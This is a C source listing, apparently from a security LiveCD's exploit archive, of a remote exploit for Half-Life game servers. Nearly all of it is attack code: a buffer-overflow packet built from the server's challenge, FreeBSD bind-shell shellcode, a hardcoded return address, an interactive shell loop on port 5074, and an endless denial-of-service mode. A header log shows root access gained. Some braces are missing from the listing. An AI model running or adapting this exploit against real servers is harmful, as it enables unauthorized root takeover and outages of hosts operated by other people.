home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / halflife / pu-hl.c < prev   
C/C++ Source or Header  |  2005-02-12  |  21KB  |  626 lines

  1. //
  2. // PRIV8 SECURITY & UHAGr CONFIDENTIAL SOURCE - DO NOT DISTRIBUTE !!!
  3. // Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit 
  4. // Code by hkvig of UHAGr and wsxz of Priv8 Security
  5. //
  6. // This code is based upon the recent halflife exploit but it is
  7. // not a dos. Instead this exploit provides you a nice shell to
  8. // the vulnerable host
  9. //
  10. // 
  11. // LOGS OF SUCCESSFUL EXPLOITATION
  12. //
  13. // [wsxz@localhost xdcc]$ ./hl 0 192.168.0.4
  14. //
  15. //
  16. // PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!!
  17. // Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit
  18. // Code by hkvig of UHAGr and wsxz of Priv8 Security
  19. // Greetings to #priv8security & #!uhagr people
  20. // 
  21. // [+] Looking up host ip addr
  22. // [+] Establishing virtual udp connection
  23. // [+] Getting server info
  24. // [+] Server protocol 0x2e
  25. //     Players         0
  26. //     Proxy           0
  27. //     Lan             0
  28. //     Nplayers        0x10
  29. //     Directory       cstrike
  30. //     Description     CounterStrike
  31. //     Host            Counter-Strike 1.5 Server
  32. //     Type            0
  33. //     Pass            0
  34. //     Os              0
  35. //     Security        0x1
  36. // [+] Getting server challenge integer
  37. //     Server challenge is 280135011
  38. // [+] Exploiting halflife server
  39. // [+] Connecting to our shell
  40. // Linux freebsd.rlz 2.4.2 FreeBSD 5.1-RELEASE #0: Thu Jun  5 02:55:42 GMT 2003
  41. //     root@wv i386 unknown
  42. // uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
  43. //
  44. //
  45. // Greetings fly to
  46. //    - The rest UHAGr and Priv8 Security people
  47. //    - CCC 
  48. //    - All of our friends to any net
  49. // 
  50. #include <stdio.h>
  51. #include <stdlib.h>
  52. #include <string.h>
  53. #include <signal.h>
  54. #include <sys/types.h>
  55. #include <sys/socket.h>
  56. #include <arpa/inet.h>
  57. #include <linux/socket.h>
  58. #include <linux/sockios.h>
  59. #include <netinet/in.h>
  60. #include <netdb.h>
  61. #include <unistd.h>
  62. #include <errno.h>
  63.  
  64. #define LOCAL_PORT ( getuid() + getpid() + rand())
  65. #define DEST_PORT 27015
  66. #define BUFFER_SIZE 4096
  67. #define DELAY 20 
  68. #define INIT "echo; echo; uname -a; id; who; echo; echo;\n"
  69.  
  70. // The packet layout for a bsd host
  71. #define PAYLOAD     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  72.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  73.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  74.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  75.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  76.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  77.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  78.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  79.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  80.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  81.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  82.                     "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66" \
  83.                     "\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1" \
  84.                     "\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04" \
  85.                     "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66" \
  86.                     "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6" \
  87.                     "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
  88.                     "\x89\xe1\xb0\x0b\xcd\x80" \
  89.                     "\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62\x62" \
  90.                     \
  91.                     "\x42\x42\x42\x42"
  92.  
  93. #define NAME        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  94.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  95.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  96.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  97.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  98.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  99.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  100.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  101.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  102.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  103.                     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" \
  104.                     "\x90\x90\x90\xeb\x08"
  105.  
  106. #define BUFFER "\xff\xff\xff\xff" \
  107.                "connect %d" \
  108.                " %s \"" \
  109.                "\\prot\\2" \
  110.                "\\unique\\-1" \
  111.                "\\raw\\%08lx%08lx%08lx%08lx" \
  112.                "\" \"" \
  113.                "\\model\\robo" \
  114.                "\\topcolor\\25" \
  115.                "\\bottomcolor\\161" \
  116.                "\\rate\\9999.000000" \
  117.                "\\cl_updaterate\\20" \
  118.                "\\cl_lw\\1" \
  119.                "\\cl_lc\\1" \
  120.                "\\cl_dlmax\\128" \
  121.                "\\hud_classautokill\\1" \
  122.                "\\name\\" NAME \
  123.                "\\" PAYLOAD "\\value" \
  124.                "\"\n"
  125.  
  126.  
  127. // The structure that holds the server info needed for the exploitation
  128. struct serverinfo
  129. {
  130.     unsigned int protocol;                   // Protocol version
  131.     unsigned int players;                    // Current players
  132.     unsigned int proxytarget;                // Proxy
  133.     unsigned int lan;                        // Lan
  134.     unsigned int nplayers;                   // Players
  135.     char *directory;                         // Current directory
  136.     char *description;                       // Server description
  137.     char *host;                              // Hosts alias
  138.     char *challenge;                         // Challenge integer
  139.     unsigned int type;                       // Server type
  140.     unsigned int pass;                       // Server pass
  141.     unsigned int os;                         // Os
  142.     unsigned int security;                   // Security
  143. } server;
  144.  
  145.  
  146. // The structure that contains the targets
  147. struct target
  148. {
  149.         unsigned int id;
  150.         const char *description;
  151.         unsigned long int retaddr;
  152. targets[] =
  153. {
  154.         { 0 , "Freebsd 5.1" , 0xbfbfe398  } ,
  155.  
  156.     { 1 , "DoS attack to every OS" , 0x41414141 } ,
  157.  
  158.         { 2 , NULL , 0 }
  159. };
  160.  
  161.  
  162. // This function lists the available targets
  163. void list( void )
  164. {
  165. int loop = 0;
  166.  
  167.     fprintf( stdout , "\n\nAvailable targets\n" );
  168.     while( targets[loop].description != NULL )
  169.     {
  170.     fprintf( stdout , "\t%d\t%s\n" , targets[loop].id , targets[loop].description );
  171.     loop++;
  172.     }
  173.     fprintf( stdout , "\n\n" );
  174.     
  175.     return;
  176. }
  177.  
  178.  
  179. // This function is responsible for the proper error reporting and
  180. // error code returning
  181. void do_exit( const char *str , const char *file , unsigned int line )
  182. {
  183.         fprintf( stdout , "\n" );
  184.         if( file != NULL && line != 0 )
  185.                 fprintf( stdout , "Error at %s at line %d\n" , file , line );
  186.  
  187.         if( str != NULL )
  188.                 perror( str );
  189.  
  190.         exit( -errno );
  191. }
  192.  
  193.  
  194. // A safer version of the standard strtok() function
  195. char *strtokerr( char *str , const char *del )
  196. {
  197. char *ptr;
  198.  
  199.         if(( ptr = strtok( str , del )) == NULL )
  200.         {
  201.     fprintf( stdout , "Error at %s at line %d\n" , __FILE__ , __LINE__ );
  202.     fprintf( stdout , "strtokerr(): strtok(): No such token\n" );
  203.     do_exit( NULL , NULL , 0 );
  204.     }
  205.  
  206.         return ptr;
  207. }
  208.  
  209.  
  210. // This function is responsible for looking the ip addr of the target host 
  211. unsigned long int lookup_host( char *host )
  212. {
  213. struct in_addr r_host;
  214. struct hostent *ip;
  215.  
  216.     if( !isdigit( *host ))
  217.     {
  218.             if(( ip = gethostbyname( host )) == NULL )
  219.             do_exit( "lookup_host(): gethostbyname()" , __FILE__ , __LINE__ );
  220.  
  221.             bzero( &r_host , sizeof( struct in_addr ));
  222.             r_host = *(( struct in_addr *)ip->h_addr );
  223.             return r_host.s_addr;
  224.     }
  225.  
  226.     if( isdigit( *host ))
  227.             return inet_addr( host );
  228.  
  229.     return -1;
  230. }
  231.  
  232.  
  233. // This function establishes a virtual udp connection to the target
  234. // host so that send() can be used instead of sendto()
  235. int udp_connect( unsigned long int addr , unsigned int port )
  236. {
  237. int fd;
  238. struct sockaddr_in host;
  239. struct in_addr n_addr = *(( struct in_addr *)&addr );
  240.  
  241.         if(( fd = socket( PF_INET , SOCK_DGRAM , IPPROTO_UDP )) == -1 )
  242.             do_exit( "udp_connect(): socket()" , __FILE__ , __LINE__ );
  243.  
  244.         host.sin_family = AF_INET;
  245.         host.sin_addr.s_addr = INADDR_ANY;
  246.         host.sin_port = htons( LOCAL_PORT );
  247.         if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  248.         do_exit( "udp_connect(): bind()" , __FILE__ , __LINE__ );
  249.  
  250.         bzero( &host , sizeof( struct sockaddr_in ));
  251.         host.sin_family = AF_INET;
  252.         host.sin_addr = n_addr;
  253.         host.sin_port = htons( port );
  254.         if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  255.         do_exit( "udp_connect(): connect()" , __FILE__ , __LINE__ );
  256.  
  257.     return fd;
  258. }
  259.  
  260.  
  261. // This is the standard tcp connection in just one function
  262. int tcp_connect( unsigned long int addr , int port )
  263. {
  264. struct sockaddr_in host;
  265. int fd;
  266.  
  267.         if(( fd = socket( PF_INET , SOCK_STREAM , IPPROTO_TCP )) == -1 )
  268.         do_exit( "tcp_connect(): socket()" , __FILE__ , __LINE__ );
  269.  
  270.         host.sin_family = AF_INET;
  271.         host.sin_addr.s_addr = INADDR_ANY;
  272.         host.sin_port = htons( LOCAL_PORT );
  273.  
  274.         if(( bind( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  275.         do_exit( "tcp_connect(): bind()" , __FILE__ , __LINE__ );
  276.  
  277.         bzero( &host , sizeof( struct sockaddr_in ));
  278.         host.sin_family = AF_INET;
  279.         host.sin_addr.s_addr = addr;
  280.         host.sin_port = htons( port );
  281.  
  282.     if(( connect( fd , ( struct sockaddr *)&host , sizeof( struct sockaddr ))) == -1 )
  283.         do_exit( "tcp_connect(): connect()" , __FILE__ , __LINE__ );
  284.  
  285.     return fd;
  286. }
  287.  
  288. // The standard function for controlling the shell
  289. int shell( int fd )
  290. {
  291. int bytes;
  292. char buffer[2048];
  293. fd_set descr;
  294. struct timeval time = { 2 , 0 };
  295.  
  296.         while( 1 )
  297.         {
  298.             FD_ZERO( &descr );
  299.             FD_SET( fd , &descr );
  300.             FD_SET( 0 , &descr );
  301.             select( fd + 1 , &descr , NULL , NULL , NULL );
  302.  
  303.             if( FD_ISSET( fd , &descr ))
  304.             {
  305.                     bzero( buffer , sizeof( buffer ));
  306.                     if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
  307.                     {
  308.                     fprintf( stdout , "[-] Connection closed by foreign host\n" );
  309.                     do_exit( "shell(): read()" , __FILE__ , __LINE__ );
  310.                     }
  311.                     buffer[bytes] = '\0';
  312.                     fputs( buffer , stdout );
  313.             }
  314.  
  315.         if( FD_ISSET( 0 , &descr ))
  316.             {
  317.                     bzero( buffer , sizeof( buffer ));
  318.                     if(( bytes = read( 0 , buffer , sizeof( buffer ))) == -1 )
  319.                             do_exit( "shell(): read()" , __FILE__ , __LINE__ );
  320.                     buffer[bytes] = '\0';
  321.                     send( fd , buffer , strlen( buffer ) , 0 );
  322.             }
  323.         }
  324.  
  325.         return 0;
  326. }
  327.  
  328.  
  329. // This function gets the server info needed for the exploitation and checks
  330. // if the host is vulnerable
  331. int server_info( int fd )
  332. {
  333. char infostr[] = "\xff\xff\xff\xffinfostring\n\0";
  334. char buffer[BUFFER_SIZE];
  335. char *ptr;
  336. int loop , bytes;
  337.  
  338.     bzero( buffer , sizeof( buffer ));
  339.  
  340.     if(( send( fd , infostr , sizeof( infostr ) - 1 , 0 )) == -1 )
  341.         do_exit( "server_info(): send()" , __FILE__ , __LINE__ );
  342.  
  343.     if(( bytes = read( fd , buffer , sizeof( buffer ))) == -1 )
  344.         do_exit( "server_info(): read()" , __FILE__ , __LINE__ );
  345.  
  346.     for( loop = 0; loop < bytes; loop++ )
  347.         if( buffer[loop] == '\0' ) buffer[loop] = 0x41;
  348.     
  349.     if(( ptr = strstr( buffer , "protocol" )) == NULL )     
  350.     {
  351.     fprintf( stdout , "[-] No protocol info into server response\n" );
  352.     do_exit( NULL , NULL , 0 );
  353.     }
  354.  
  355.     ptr = strtokerr( buffer , "\\" );                       // Ignoring response
  356.     ptr = strtokerr( NULL , "\\" );                         // Protocol version
  357.     server.protocol = atoi( strtokerr( NULL , "\\" ));
  358.  
  359.     ptr = strtokerr( NULL , "\\" );                         // Address
  360.     ptr = strtokerr( NULL , "\\" );                         // Ip address and port
  361.  
  362.     ptr = strtokerr( NULL , "\\" );                         // Players
  363.     server.players = atoi( strtokerr( NULL , "\\" ));       // Current players
  364.  
  365.     ptr = strtokerr( NULL , "\\" );                         // Proxytarget
  366.     server.proxytarget = atoi( strtokerr( NULL , "\\" ));   // Proxytarget value
  367.  
  368.     ptr = strtokerr( NULL , "\\" );                         // Lan
  369.     server.lan = atoi( strtokerr( NULL , "\\" ));           // Lan value
  370.  
  371.     ptr = strtokerr( NULL , "\\" );                         // Max players
  372.     server.nplayers = atoi( strtokerr( NULL , "\\" ));      // Max players
  373.  
  374.     ptr = strtokerr( NULL , "\\" );                         // Directory
  375.     server.directory = strtokerr( NULL , "\\" );            // Directory string
  376.  
  377.     ptr = strtokerr( NULL , "\\" );                         // Description
  378.     server.description = strtokerr( NULL , "\\" );          // Description string
  379.  
  380.     ptr = strtokerr( NULL , "\\" );                         // Host
  381.     server.host = strtokerr( NULL , "\\" );                 // Host string
  382.  
  383.     ptr = strtokerr( NULL , "\\" );                         // Map
  384.     ptr = strtokerr( NULL , "\\" );                         // Map string
  385.  
  386.     ptr = strtokerr( NULL , "\\" );                         // Type
  387.     server.type = atoi( strtokerr( NULL , "\\" ));          // Type value
  388.  
  389.     ptr = strtokerr( NULL , "\\" );                         // Pass
  390.     server.pass = atoi( strtokerr( NULL , "\\" ));          // Pass value
  391.  
  392.     ptr = strtokerr( NULL , "\\" );                         // Os
  393.     server.os = atoi( strtokerr( NULL , "\\" ));            // Os value
  394.  
  395.     ptr = strtokerr( NULL , "\\" );                         // Security
  396.     server.security = atoi( strtokerr( NULL , "\\" ));      // Security value
  397.  
  398.     return 0;
  399. }
  400.  
  401.  
  402. // This function is responsible for getting the server's challenge in order
  403. // to be used later into the exploitation udp packet
  404. int server_challenge( int fd )
  405. {
  406. char challstr[] = "\xff\xff\xff\xffgetchallenge\n\0";
  407. char buffer[BUFFER_SIZE];
  408.  
  409.     bzero( buffer , sizeof( buffer ));
  410.  
  411.     if(( send( fd , challstr , sizeof( challstr ) - 1 , 0 )) == -1 )
  412.         do_exit( "server_challenge(): send()" , __FILE__ , __LINE__ );
  413.  
  414.     if(( read( fd , buffer , sizeof( buffer ))) == -1 )
  415.         do_exit( "server_challenge(): read()" , __FILE__ , __LINE__ );
  416.  
  417.     strtokerr( buffer , " " );
  418.     server.challenge = strtokerr( NULL , " " );
  419.     return 0;
  420. }
  421.  
  422. // This function is responsible for exploiting a bsd host
  423. int do_bof_bsd( int fd , struct target targ , unsigned long int offset )
  424. {
  425. char *exploit , *ptr;
  426. int len;
  427.  
  428.     targ.retaddr -= offset;
  429.  
  430.     if(( exploit = ( char *)malloc( BUFFER_SIZE )) == NULL )
  431.         do_exit( "do_bof(): malloc()" , __FILE__ , __LINE__ );
  432.     bzero( exploit , BUFFER_SIZE );
  433.  
  434.     len = snprintf( exploit , sizeof( BUFFER ) + 64 , BUFFER , server.protocol , server.challenge , 
  435.                   ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,   
  436.                       ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  437.                       ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  438.                       ( long int )( rand() << 1 ) + ( rand() & 0xf ));
  439.  
  440.     ptr = strstr( exploit , "BBBB" );
  441.     *( unsigned long int *)ptr = targ.retaddr;
  442.  
  443. // ptr += 4;
  444. // *( unsigned long int *)ptr = targ.retaddr;
  445. // ptr += 4;
  446. // *( unsigned long int *)ptr = targ.retaddr;
  447. // ptr += 4;
  448. // *( unsigned long int *)ptr = targ.retaddr;
  449. // ptr += 4;
  450. // *( unsigned long int *)ptr = targ.retaddr;
  451.  
  452.     if(( send( fd , exploit , len , 0 )) == -1 )
  453.         do_exit( "do_bof(): send()" , __FILE__ , __LINE__ );
  454.  
  455.  
  456.     return 0;
  457. }
  458.  
  459. // This function launches a dos attack against the vulnerable server
  460. int do_dos( int fd , unsigned int delay )
  461. {
  462. int len;
  463. char *dos , buff[268];
  464.  
  465.         if(( dos = ( char *)malloc( BUFFER_SIZE )) == NULL )
  466.                 do_exit( "do_dos(): malloc()" , __FILE__ , __LINE__ );
  467.  
  468.         bzero( dos , BUFFER_SIZE );
  469.         bzero( buff , sizeof( buff ));
  470.  
  471.         memset( buff , 0x41 , sizeof( buff ));
  472.  
  473.         len = snprintf( dos , BUFFER_SIZE ,
  474.                               "\xff\xff\xff\xff"
  475.                               "connect %d"
  476.                               " %s \""
  477.                               "\\prot\\2"
  478.                               "\\unique\\-1"
  479.                               "\\raw\\%08lx%08lx%08lx%08lx"
  480.                               "\" \""
  481.                               "\\model\\%s"
  482.                               "\\topcolor\\25"
  483.                               "\\bottomcolor\\161"
  484.                               "\\rate\\9999.000000"
  485.                               "\\cl_updaterate\\20"
  486.                               "\\cl_lw\\1"
  487.                               "\\cl_lc\\1"
  488.                               "\\cl_dlmax\\128"
  489.                               "\\hud_classautokill\\1"
  490.                               "\\name\\Bugtest"
  491.                               "\"\n" ,
  492.                               server.protocol , server.challenge ,
  493.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  494.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  495.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  496.                               ( long int )( rand() << 1 ) + ( rand() & 0xf ) ,
  497.                           buff );
  498.  
  499.         while( 1 )
  500.         {
  501.                 if(( send( fd , dos , len , 0 )) == -1 )
  502.                         do_exit( "do_dos(): send()" , __FILE__ , __LINE__ );
  503.  
  504.                 fprintf( stdout , "[+] DoS packet sent\n" );
  505.                 sleep( delay );
  506.         }
  507.  
  508.  
  509.         return 0;
  510. }
  511.  
  512.  
  513. int main( int argc , char *argv[] )
  514. unsigned long int addr;
  515. long int offset;
  516. int fd , usrtarg , port;
  517.  
  518.  
  519.     fprintf( stdout , "                                                                  \n\n"
  520.                       "PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n"
  521.                       "Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit                \n"
  522.                       "Code by hkvig of UHAGr and wsxz of Priv8 Security                   \n"
  523.                       "Greetings to #priv8security & #!uhagr people                      \n\n" );
  524.  
  525.     if( argc != 4 && argc != 5 )
  526.     {
  527.         fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n"
  528.                               "Set offset to 0 if you don't like to use an offset\n\n" , argv[0] );
  529.         list();
  530.         return 0;
  531.     }
  532.     
  533.     if( argc == 5 )
  534.     {
  535.         port = atoi( argv[4] );
  536.         fprintf( stdout , "[+] Using port %d\n" , port );
  537.     }
  538.     else
  539.         port = DEST_PORT;
  540.  
  541.     usrtarg = atoi( argv[1] );
  542.     if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 )
  543.     {
  544.     fprintf( stdout , "[-] No such target in target list\n" );
  545.     do_exit( NULL , NULL , 0 );
  546.     }
  547.  
  548.         offset = atoi( argv[3] );
  549.         fprintf( stdout , "[+] Using offset %#x + %#x\n" , targets[usrtarg].retaddr , offset );
  550.  
  551.     bzero( &server , sizeof( struct serverinfo ));
  552.  
  553.     fprintf( stdout , "[+] Looking up host ip addr\n" );
  554.     addr = lookup_host( argv[2] );    
  555.     sleep( 1 );
  556.  
  557.     
  558.     fprintf( stdout , "[+] Establishing virtual udp connection\n" );
  559.     fd = udp_connect( addr , port );
  560.     sleep( 1 );    
  561.  
  562.     
  563.     fprintf( stdout , "[+] Getting server info\n" );
  564.     server_info( fd );
  565.     sleep( 1 );
  566.  
  567.     fprintf( stdout , "[+] Server protocol %#x\n"
  568.                       "    Players         %#x\n"
  569.                       "    Proxy           %#x\n"
  570.                       "    Lan             %#x\n"
  571.                       "    Nplayers        %#x\n"
  572.                       "    Directory       %s \n"
  573.                       "    Description     %s \n"
  574.                       "    Host            %s \n"
  575.                       "    Type            %#x\n"
  576.                       "    Pass            %#x\n"
  577.                       "    Os              %#x\n"
  578.                       "    Security        %#x\n" ,
  579.                       server.protocol ,
  580.                       server.players ,
  581.                       server.proxytarget ,
  582.                       server.lan ,
  583.                       server.nplayers ,
  584.                       server.directory ,
  585.                       server.description ,
  586.                       server.host ,
  587.                       server.type ,
  588.                       server.pass ,
  589.                       server.os ,
  590.                       server.security );
  591.  
  592.     sleep( 1 );
  593.     fprintf( stdout , "[+] Getting server challenge integer\n" );
  594.     server_challenge( fd );
  595.  
  596.     fprintf( stdout , "    Server challenge is %s\n" , server.challenge );
  597.     sleep( 1 );
  598.  
  599.  
  600.     if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 ) 
  601.     { 
  602.         fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" );
  603.         do_dos( fd , DELAY );
  604.     }
  605.     else // Real exploitation
  606.     {
  607.         fprintf( stdout , "[+] Exploiting halflife server\n" );
  608.         do_bof_bsd( fd , targets[usrtarg] , offset );
  609.     
  610.         sleep( 1 );
  611.         close( fd );
  612.  
  613.         sleep( 3 );
  614.         fprintf( stdout , "[+] Connecting to our shell\n" );
  615.         fd = tcp_connect( addr , 5074 );
  616.     
  617.         send( fd , INIT , sizeof( INIT ) , 0 );
  618.         shell( fd );
  619.     }    
  620.  
  621.     close( fd );
  622.     return 0; 
  623. }
  624.